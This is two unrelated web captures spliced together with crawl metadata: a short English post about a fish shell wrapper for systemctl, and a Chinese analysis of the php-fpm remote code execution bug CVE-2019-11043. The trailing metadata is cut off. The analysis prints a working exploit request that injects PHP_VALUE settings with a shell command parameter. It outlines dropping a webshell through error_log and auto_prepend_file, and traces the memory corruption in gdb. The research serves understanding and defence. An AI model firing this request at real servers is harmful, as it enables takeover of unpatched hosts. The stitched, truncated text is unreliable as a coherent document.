A calm morning just before I packed for lab/school/work, I installed Docker (docker.io package in Ubuntu Bionic) because later I thought I would like to play with Emby (more on that later). It has been awhile since the last time I used the sudo systemctl command, and I remember a Bash function that I wrote not too long ago that made the systemctl command much more logical to me.
The default systemctl, for example, to start docker.
sudo systemctl start docker
To me, this feels kind of long. Also, it does not feel logical to me. Why a status comes before the service? Shouldn’t it be like this?
sudo systemctl docker start
Because, IMO, linguistically it makes much more sense. To remedy this, I wrote this simple Bash function as a part of my .zshrc file.
function control() { sudo systemctl "$2" "$1" }
This defines a new function control(), then reverses the order for the status and service. I think it is easier to just show you. To use the same example as before, i.e. starting docker service, now I type:
control docker start
The command is much shorter now (since sudo is included as well) and it makes sense, at least to me.
Well, I bumped into a relatively quick problem to fix this morning: the fish shell uses a different syntax for function. Instead of being written as the Bash function shown above, the fish equivalent for the same function is written as follows:
function control
sudo systemctl $argv[2] $argv[1]
end
It looks kind of neat. From a thread on Stack Overflow, the $argv is a list, and to access a range of elements, you need to slice it with square bracket, as shown in the function above.
It works. That’s all that matters now. On the other hand, I should really spend time learning Bash shell, and to some extent, Fish shell.
|
{
"url": "https://meta.caspershire.net/quick-fix-fish-function/",
"source_domain": "meta.caspershire.net",
"snapshot_id": "crawl=CC-MAIN-2021-31",
"warc_metadata": {
"Content-Length": "3873",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:M26VPDL3VQRKMVWUALFBRG5QD4NOQTXG",
"WARC-Concurrent-To": "<urn:uuid:c3039fef-d285-4181-bb18-eee02a88ac5e>",
"WARC-Date": "2021-08-04T07:06:00Z",
"WARC-IP-Address": "104.21.1.138",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:QDM4EUZOJ5VLKMA336WK4XDPA3M7FUYZ",
"WARC-Record-ID": "<urn:uuid:f4a04dc4-d32a-4cb4-8e8e-d012e966e3ab>",
"WARC-Target-URI": "https://meta.caspershire.net/quick-fix-fish-function/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:95726e62-7e1c-43f4-8ff5-40bb75539a96>"
},
"warc_info": "isPartOf: CC-MAIN-2021-31\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July/August 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-198.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
17,
18,
41,
42,
67,
68,
90,
91,
473,
474,
527,
528,
556,
557,
693,
694,
722,
723,
857,
858,
906,
907,
1114,
1115,
1136,
1137,
1238,
1239,
1484,
1485,
1502,
1537,
1541,
1542,
1728,
1729
],
"line_end_idx": [
17,
18,
41,
42,
67,
68,
90,
91,
473,
474,
527,
528,
556,
557,
693,
694,
722,
723,
857,
858,
906,
907,
1114,
1115,
1136,
1137,
1238,
1239,
1484,
1485,
1502,
1537,
1541,
1542,
1728,
1729,
1866
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 1866,
"ccnet_original_nlines": 36,
"rps_doc_curly_bracket": 0.0010718100238591433,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3691931366920471,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0342298299074173,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.19070905447006226,
"rps_doc_frac_unique_words": 0.4908536672592163,
"rps_doc_mean_word_length": 4.396341323852539,
"rps_doc_num_sentences": 22,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.695164680480957,
"rps_doc_word_count": 328,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.04507628083229065,
"rps_doc_frac_chars_top_3gram": 0.015256590209901333,
"rps_doc_frac_chars_top_4gram": 0.03883495181798935,
"rps_doc_books_importance": -167.50717163085938,
"rps_doc_books_importance_length_correction": -167.473388671875,
"rps_doc_openwebtext_importance": -65.51107025146484,
"rps_doc_openwebtext_importance_length_correction": -65.51107025146484,
"rps_doc_wikipedia_importance": -63.218284606933594,
"rps_doc_wikipedia_importance_length_correction": -63.218265533447266
},
"fasttext": {
"dclm": 0.01891029067337513,
"english": 0.9435827732086182,
"fineweb_edu_approx": 2.0427651405334473,
"eai_general_math": 0.9908665418624878,
"eai_open_web_math": 0.22535812854766846,
"eai_web_code": 0.5298391580581665
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
7,709,479,655,770,269,000 |
1. 威客安全首页
2. 安全资讯
php-fpm Remote Code Execution 分析(CVE-2019-11043)
漏洞简介
国外安全研究员 Andrew Danau发现向服务器请求的URL中包含%0a 符号时,服务返回异常,疑似存在漏洞。
Nginx+php-fpm的环境中,若Nginx上的fastcgi_split_path_info指令配置不当,在处理带包含%0a的URL时会导致正则匹配失效从而PATH_INFO的结果为空。
当Nginx将包含PATH_INFO为空的fastcgi传递给后端php-fpm时,php-fpm接受处理的过程存在逻辑问题,通过精心构造恶意请求可以对php-fpm进行内存污染,进一步可以复写内存并修改php-fpm配置,实现远程代码执行。
复现环境
自己搭建的方便调试,推荐
PHP
安装调试工具gdb
apt install gdb
下载php源码:
wget https://www.php.net/distributions/php-7.1.0.tar.gz
然后对./configure 的配置如下
./configure --prefix=/root/php7.1.0 --enable-phpdbg-debug --enable-debug --enable-fpm CFLAGS="-g3 -gdwarf-4"
这里只安装必要的debug模块+fpm模块,其他模块视需求安装。
CFLAGS="-g3 -gdwarf-4"是对编译参数进行额外配置,关闭所有的编译优化机制,产生 gdb所必要的符号信息(符号表),并设置dwarf调试信息格式。PHP内核中定义了很多宏,gdb调试中可以通过macro expand xxxx命令比较方便的展开宏。
编译安装php
make && make install
bin目录下包含常用的php命令行解释器
php-fpm Remote Code Execution 分析(CVE-2019-11043)
sbin目录下包含fpm,还需要运行的配置文件。
• 指定fpm的配置文件,从编译后的目录复制php-fpm.conf.default并重命名为php-fpm.conf
• 指定php的配置文件,从源码目录中复制php.ini-development并重命名为php.ini
自行配置php.ini,这里主要配置php-fpm.conf
php-fpm为多进程模型,一个master进程,多个worker进程。
master进程负责管理调度,worker进程负责处理客户端(nginx)的请求。
master进程对work进程管理一共有三种模式:
• ondemand,按需模式,当有请求时才会启动worker
• static,静态模式,启动采用固定大小数量的worker
• dynamic,动态模式,初始化一些worker,运行过程中动态调整worker数量
让fpm的工作模式为static,并且work进程只有一个,方便进行调试,设置配置文件如下:
1. pm = static
2. ; The number of child processes to be created when pm is set to 'static' and the
3. ; maximum number of child processes when pm is set to 'dynamic' or 'ondemand'.
4. ; This value sets the limit on the number of simultaneous requests that will be
5. ; served. Equivalent to the ApacheMaxClients directive with mpm_prefork.
6. ; Equivalent to the PHP_FCGI_CHILDREN environment variable in the original PHP
7. ; CGI. The below defaults are based on a server without much resources. Don't
8. ; forget to tweak pm.* to fit your needs.
9. ; Note: Used when pm is set to 'static', 'dynamic' or 'ondemand'
10. ; Note: This value is mandatory.
11. pm.max_children = 1
12. ; The number of child processes created on startup.
13. ; Note: Used only when pm is set to 'dynamic'
14. ; Default Value: min_spare_servers + (max_spare_servers - min_spare_servers) / 2
15. pm.start_servers = 1
16. ; The desired minimum number of idle server processes.
17. ; Note: Used only when pm is set to 'dynamic'
18. ; Note: Mandatory when pm is set to 'dynamic'
19. pm.min_spare_servers = 1
20. ; The desired maximum number of idle server processes.
21. ; Note: Used only when pm is set to 'dynamic'
22. ; Note: Mandatory when pm is set to 'dynamic'
23. pm.max_spare_servers = 1
运行fpm
./php-fpm -c php.ini -y php-fpm.conf
ps可以发现work进程如期只启动一个:
php-fpm Remote Code Execution 分析(CVE-2019-11043)
Nginx
apt就行,比较关键的配置文件
1. location ~ [^/].php(/|$) {
2. fastcgi_split_path_info ^(.+?.php)(/.*)$;
3. include fastcgi_params;
4. fastcgi_param PATH_INFO $fastcgi_path_info;
5. fastcgi_index index.php;
6. fastcgi_param REDIRECT_STATUS 200;
7. fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
8. fastcgi_param DOCUMENT_ROOT /var/www/html;
9. fastcgi_pass 127.0.0.1:9000;
10. }
EXP
go get -v && go build
要是嫌麻烦也可以直接草P老板作业,很方便
https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
内核分析
攻击思路
因为不会go语言,因此没有研究exp,通过Wireshark抓包可以发现关键的攻击数据包如下:
php-fpm Remote Code Execution 分析(CVE-2019-11043)
分析http请求,实现远程代码执行的方法很容易猜测和理解:
通过PATH_INFO为空的fastcgi多次修改php-fpm的ini配置选项,设置error_log的地址为/tmp/a,并将一句话木马写入,然后设置include_path等,再通过auto_prepend_file包含完成远程代码执行。
修改php-fpm的ini就是漏洞的关键,选一条靠后的成型的http请求进行测试和验证:
GET /test.php/PHP_VALUE%0Aerror_reporting=9;;;;;;?a=/bin/sh+-c+'which+which'&QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1Host: 172.16.231.158User-Agent: Mozilla/5.0D-Pisos: 8========================================================================DEbut: mamku tvoyu
使用phpinfo查看结果,error_reporting已经被修改。
php-fpm Remote Code Execution 分析(CVE-2019-11043)
fpm中从fastcgi中解析处理ini的源码位置如下
sapi/fpm/fpm/fpm_main.c
php-fpm Remote Code Execution 分析(CVE-2019-11043)
通过FCGI_GETENV获取request中存储在PHP_VALUE中的ini配置,然后通过zend_parse_ini_string将配置应用ini。
发送恶意http请求,使用GDB动态跟踪,发现request已经被污染,会解析恶意ini。
php-fpm Remote Code Execution 分析(CVE-2019-11043)
这里获取服务器权限的方式和php-fpm未授权访问的方式相似,都是fastcgi中的PHP_VALUE修改php-fpm的ini,但是php-fpm未授权访问是发送包含PHP_VALUE的fastcgi请求,而本漏洞则是fpm处理恶意fastcgi请求逻辑错误导致被覆盖为PHP_VALUE
fcgi_accept_request
下面从头分析修改的error_reporting的http请求
main/fastcgi.c
fcgi_accept_request函数中通过accept函数接受来自客户端的socket连接,并赋给req->fd
php-fpm Remote Code Execution 分析(CVE-2019-11043)
然后通过fcgi_read_request读取解析整个fastcgi请求,存储在req
php-fpm Remote Code Execution 分析(CVE-2019-11043)
通过外层while循环,不停地调用fcgi_accept_request函数,接受连接并读取请求。
php-fpm Remote Code Execution 分析(CVE-2019-11043)
equest变量包含fastcgi请求的信息,结构如下
pwndbg> p * request$4 = { listen_socket = 0, tcp = 0, fd = 3, id = 1, keep = 0, nodelay = 0, closed = 0, in_len = 0, in_pad = 0, out_hdr = 0x0, out_pos = 0x56305ff048d8 "0106", out_buf = "0106000100H0000X-Powered-By: PHP/7.1.0rnContent-type: text/html; charset=UTF-8rnrnHello0103000100b", '00' <repeats 8105 times>, reserved = '00' <repeats 15 times>, hook = { on_accept = 0x56305ebef54a <fpm_request_accepting>, on_read = 0x56305ebef624 <fpm_request_reading_headers>, on_close = 0x56305ebefc43 <fpm_request_finished> }, has_env = 1, env = { hash_table = {0x0, 0x56305ff08600, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff087b0, 0x56305ff08a50, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086f0, 0x0, 0x0, 0x0, 0x56305ff089c0, 0x0, 0x0, 0x0, 0x56305ff08840, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08780, 0x0, 0x56305ff08720, 0x56305ff08750, 0x0 <repeats 18 times>, 0x56305ff088a0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086c0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08990, 0x56305ff087e0, 0x56305ff08930, 0x0, 0x56305ff089f0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08960, 0x56305ff08630, 0x0, 0x0, 0x56305ff08900, 0x0 <repeats 14 times>, 0x56305ff08660, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08a80, 0x0, 0x56305ff088d0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08690, 0x0 <repeats 14 times>, 0x56305ff08a20}, list = 0x56305ff08a80, buckets = 0x56305ff085f0, data = 0x56305ff09e10 }}
同时request存到全局变量,SG(server_context)中,宏定义如下:
# define SG(v) (sapi_globals.v)extern SAPI_API sapi_globals_struct sapi_globals;
init_request_info
进入init_request_info函数:
php-fpm Remote Code Execution 分析(CVE-2019-11043)
首先从SG(server_context)中取出request,然后通过FCGI_GETENV从request更多的fastcgi请求的信息。
FCGI_GETENV宏如下
php-fpm Remote Code Execution 分析(CVE-2019-11043)
调用fcgi_quick_getenv函数,其中FCGI_HASH_FUNC则是根据信息名称计算hash
php-fpm Remote Code Execution 分析(CVE-2019-11043)
继续调用fcgi_hash_get函数,此时传入了重要的&req->env
php-fpm Remote Code Execution 分析(CVE-2019-11043)
通过hash_value & FCGI_HASH_TABLE_MASK与运算的到索引idx,FCGI_HASH_TABLE_MASK宏如下
php-fpm Remote Code Execution 分析(CVE-2019-11043)
然后通过h->hash_table[idx]的元素指针,也就是request->env->hash_table取出信息,体结构如下
pwndbg> p request.env.hash_table$5 = {0x0, 0x56305ff08600, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff087b0, 0x56305ff08a50, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086f0, 0x0, 0x0, 0x0, 0x56305ff089c0, 0x0, 0x0, 0x0, 0x56305ff08840, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08780, 0x0, 0x56305ff08720, 0x56305ff08750, 0x0 <repeats 18 times>, 0x56305ff088a0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086c0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08990, 0x56305ff087e0, 0x56305ff08930, 0x0, 0x56305ff089f0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08960, 0x56305ff08630, 0x0, 0x0, 0x56305ff08900, 0x0 <repeats 14 times>, 0x56305ff08660, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08a80, 0x0, 0x56305ff088d0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08690, 0x0 <repeats 14 times>, 0x56305ff08a20}pwndbg> p request.env.hash_table[1]$6 = (fcgi_hash_bucket *) 0x56305ff08600pwndbg> p * request.env.hash_table[1]$7 = { hash_value = 1793, var_len = 9, var = 0x56305ff06d48 "FCGI_ROLE", val_len = 9, val = 0x56305ff06d52 "RESPONDER", next = 0x0, list_next = 0x0}
这里有比较关键的char *env_path_info = FCGI_GETENV(request, "PATH_INFO");
env_path_info为指针,不为空,指向的值为空。
pwndbg> p env_path_info$8 = 0x56305ff09e32 ""
继续跟进到重要的path_info变量部分
php-fpm Remote Code Execution 分析(CVE-2019-11043)
path_info = env_path_info + pilen - slen ,跟踪每个涉及的变量
env_path_info指向空字符串,所以pilen为0。
slen的计算稍微复杂一些,计算的是xxx.php?之间内容的相差部分/PHP_VALUE%0Aerror_reporting=9;;;;;;的长度
1. env_script_filename = FCGI_GETENV(request, "SCRIPT_FILENAME");
2. script_path_translated = env_script_filename;
3. script_path_translated_len = strlen(script_path_translated);
4. pt = estrndup(script_path_translated, script_path_translated_len);
5. len = script_path_translated_len;
6. slen = len - ptlen;
具体信息如下,slen的长度为34,此时path_info的值是env_path_info的指针向前偏移34位。
php-fpm Remote Code Execution 分析(CVE-2019-11043)
两个字符串相差的内容和长度可以任意构造,path_info指针根据偏移的到,因此path_info指向的位置也是可控。
内存覆盖
path_info[0] = 0;if (!orig_script_name || strcmp(orig_script_name, env_path_info) != 0) { if (orig_script_name) { FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name); }
path_info指向的前两个字节被改为00,然后使用FCGI_PUTENV完成对request对象的污染。
待写入的orig_script_name的值为/test.php/PHP_VALUEnerror_reporting=9;;;;;;
更改前:
php-fpm Remote Code Execution 分析(CVE-2019-11043)
更改后:
php-fpm Remote Code Execution 分析(CVE-2019-11043)
这里还需要关注request.env.data.pos变化,slen的长度为34,是为了让path_info指向request.env.data.pos,能够修改最低字节为00
php-fpm Remote Code Execution 分析(CVE-2019-11043)
该变量具体作用跟进FCGI_PUTENV即可一目了然。
php-fpm Remote Code Execution 分析(CVE-2019-11043)
调用fcgiquickputenv函数,参数相比fcgiquickgetenv多了value,其余参数计算相同。
php-fpm Remote Code Execution 分析(CVE-2019-11043)
将request.env等参数传递给fcgihashset,计算idx并得到地址p
php-fpm Remote Code Execution 分析(CVE-2019-11043)
接着调用fcgi_hash_strndup函数,根据request.env.data.pos的值确定/test.php/PHP_VALUEnerror_reporting=9;;;;;;的写入位置
php-fpm Remote Code Execution 分析(CVE-2019-11043)
写入的区域是根据request.env.data.data作为起始,再根据写入长度数据重新设置request.env.data.pos的值确定下次写入位置。
memcpy写入前:
php-fpm Remote Code Execution 分析(CVE-2019-11043)
memcpy写入后:
php-fpm Remote Code Execution 分析(CVE-2019-11043)
ini
继续跟进到已经提过的ini获取部分,发现根据PHP_VALUE字符串得到的索引为105。
在内存污染前查看该部分,发现已经通过payload占位。
php-fpm Remote Code Execution 分析(CVE-2019-11043)
污染后已经变为恶意ini。
php-fpm Remote Code Execution 分析(CVE-2019-11043)
总结
通过精心构造url、参数、header,使得path_info首先指向&request.env.data.pos附近,再利用slen进一步精准指向&request.env.data.pos,通过path_info[0]修改request.env.data.pos,使得FCGI_PUTENV写入特定位置,污染为PHP_VALUE,修改fpm的ini。
写的比较仓促,如有错误欢迎指正。
参考
https://segmentfault.com/a/1190000016868502#articleHeader6
https://bugs.php.net/bug.php?id=78599
https://github.com/neex/phuip-fpizdam
https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/
http://www.rai4over.cn/2019/06/11/PHP%E5%86%85%E6%A0%B8%E5%88%86%E6%9E%90-FPM%E5%92%8Cdisable-function%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/
原文链接:https://www.secpulse.com/archives/116660.html
本站声明:网站内容来源于安全脉搏如有侵权,请联系我们,我们将及时处理。
本文转为转载文章,本文观点不代表威客安全立场。
联系我们
4006-119-120
在线咨询:点击这里给我发消息
邮件:[email protected]
工作时间:周一至周五,9:30-18:30,节假日休息
X
|
{
"url": "http://www.secwk.com/2019/10/30/12305/",
"source_domain": "www.secwk.com",
"snapshot_id": "crawl=CC-MAIN-2019-51",
"warc_metadata": {
"Content-Length": "178833",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:HEBPDHVEXY5SJPV7OGLZT33VKQDLR2AA",
"WARC-Concurrent-To": "<urn:uuid:5e1324c1-bb1e-4069-aa53-24d8b1b69a15>",
"WARC-Date": "2019-12-15T10:41:55Z",
"WARC-IP-Address": "47.92.111.172",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:NROT47FP2LEW3N7MQQK3UUBH6VFN2RXD",
"WARC-Record-ID": "<urn:uuid:4b01f245-51d9-4411-a970-7a1a0fe63cbd>",
"WARC-Target-URI": "http://www.secwk.com/2019/10/30/12305/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:df066338-b0b3-4235-8f3f-37761978c598>"
},
"warc_info": "isPartOf: CC-MAIN-2019-51\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for December 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-170.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
12,
22,
23,
72,
73,
78,
79,
137,
138,
235,
236,
358,
359,
364,
365,
378,
379,
383,
384,
394,
395,
411,
412,
421,
422,
478,
479,
500,
501,
611,
612,
645,
646,
780,
781,
789,
790,
811,
812,
833,
834,
883,
884,
909,
910,
972,
973,
1028,
1029,
1060,
1061,
1098,
1099,
1141,
1142,
1168,
1169,
1203,
1204,
1238,
1239,
1286,
1287,
1334,
1335,
1337,
1339,
1356,
1357,
1358,
1444,
1445,
1529,
1530,
1615,
1616,
1694,
1695,
1779,
1780,
1863,
1864,
1911,
1912,
1982,
1983,
2022,
2023,
2049,
2050,
2051,
2109,
2110,
2162,
2163,
2250,
2251,
2278,
2279,
2280,
2341,
2342,
2394,
2395,
2447,
2448,
2479,
2480,
2481,
2542,
2543,
2595,
2596,
2648,
2649,
2680,
2681,
2687,
2688,
2725,
2726,
2747,
2748,
2797,
2798,
2804,
2805,
2821,
2822,
2824,
2826,
2861,
2862,
2916,
2917,
2953,
2954,
2955,
3017,
3018,
3055,
3056,
3107,
3108,
3186,
3187,
3243,
3244,
3285,
3286,
3297,
3298,
3302,
3303,
3325,
3326,
3347,
3348,
3412,
3413,
3418,
3419,
3424,
3425,
3473,
3474,
3523,
3524,
3554,
3555,
3678,
3679,
3724,
3725,
5720,
5721,
5757,
5758,
5807,
5808,
5836,
5837,
5861,
5862,
5911,
5912,
5990,
5991,
6037,
6038,
6087,
6088,
6234,
6235,
6255,
6256,
6288,
6289,
6304,
6305,
6365,
6366,
6415,
6416,
6460,
6461,
6510,
6511,
6561,
6562,
6611,
6612,
6640,
6641,
8046,
8047,
8090,
8091,
8172,
8173,
8191,
8192,
8215,
8216,
8265,
8266,
8338,
8339,
8354,
8355,
8404,
8405,
8458,
8459,
8508,
8509,
8547,
8548,
8597,
8598,
8668,
8669,
8718,
8719,
8785,
8786,
9826,
9827,
9892,
9893,
9922,
9923,
9970,
9971,
9993,
9994,
10043,
10044,
10097,
10098,
10129,
10130,
10205,
10206,
10208,
10210,
10278,
10279,
10330,
10331,
10397,
10398,
10399,
10471,
10472,
10473,
10512,
10513,
10538,
10539,
10596,
10597,
10646,
10647,
10707,
10708,
10713,
10714,
10898,
10899,
10954,
10955,
11022,
11023,
11028,
11029,
11078,
11079,
11084,
11085,
11134,
11135,
11224,
11225,
11274,
11275,
11303,
11304,
11353,
11354,
11411,
11412,
11461,
11462,
11504,
11505,
11554,
11555,
11654,
11655,
11704,
11705,
11784,
11785,
11796,
11797,
11846,
11847,
11858,
11859,
11908,
11909,
11913,
11914,
11959,
11960,
11989,
11990,
12039,
12040,
12054,
12055,
12104,
12105,
12108,
12109,
12285,
12286,
12303,
12304,
12307,
12308,
12367,
12368,
12406,
12407,
12445,
12446,
12541,
12542,
12682,
12683,
12734,
12735,
12771,
12772,
12796,
12797,
12802,
12803,
12816,
12817,
12832,
12833,
12858,
12859,
12887,
12888
],
"line_end_idx": [
12,
22,
23,
72,
73,
78,
79,
137,
138,
235,
236,
358,
359,
364,
365,
378,
379,
383,
384,
394,
395,
411,
412,
421,
422,
478,
479,
500,
501,
611,
612,
645,
646,
780,
781,
789,
790,
811,
812,
833,
834,
883,
884,
909,
910,
972,
973,
1028,
1029,
1060,
1061,
1098,
1099,
1141,
1142,
1168,
1169,
1203,
1204,
1238,
1239,
1286,
1287,
1334,
1335,
1337,
1339,
1356,
1357,
1358,
1444,
1445,
1529,
1530,
1615,
1616,
1694,
1695,
1779,
1780,
1863,
1864,
1911,
1912,
1982,
1983,
2022,
2023,
2049,
2050,
2051,
2109,
2110,
2162,
2163,
2250,
2251,
2278,
2279,
2280,
2341,
2342,
2394,
2395,
2447,
2448,
2479,
2480,
2481,
2542,
2543,
2595,
2596,
2648,
2649,
2680,
2681,
2687,
2688,
2725,
2726,
2747,
2748,
2797,
2798,
2804,
2805,
2821,
2822,
2824,
2826,
2861,
2862,
2916,
2917,
2953,
2954,
2955,
3017,
3018,
3055,
3056,
3107,
3108,
3186,
3187,
3243,
3244,
3285,
3286,
3297,
3298,
3302,
3303,
3325,
3326,
3347,
3348,
3412,
3413,
3418,
3419,
3424,
3425,
3473,
3474,
3523,
3524,
3554,
3555,
3678,
3679,
3724,
3725,
5720,
5721,
5757,
5758,
5807,
5808,
5836,
5837,
5861,
5862,
5911,
5912,
5990,
5991,
6037,
6038,
6087,
6088,
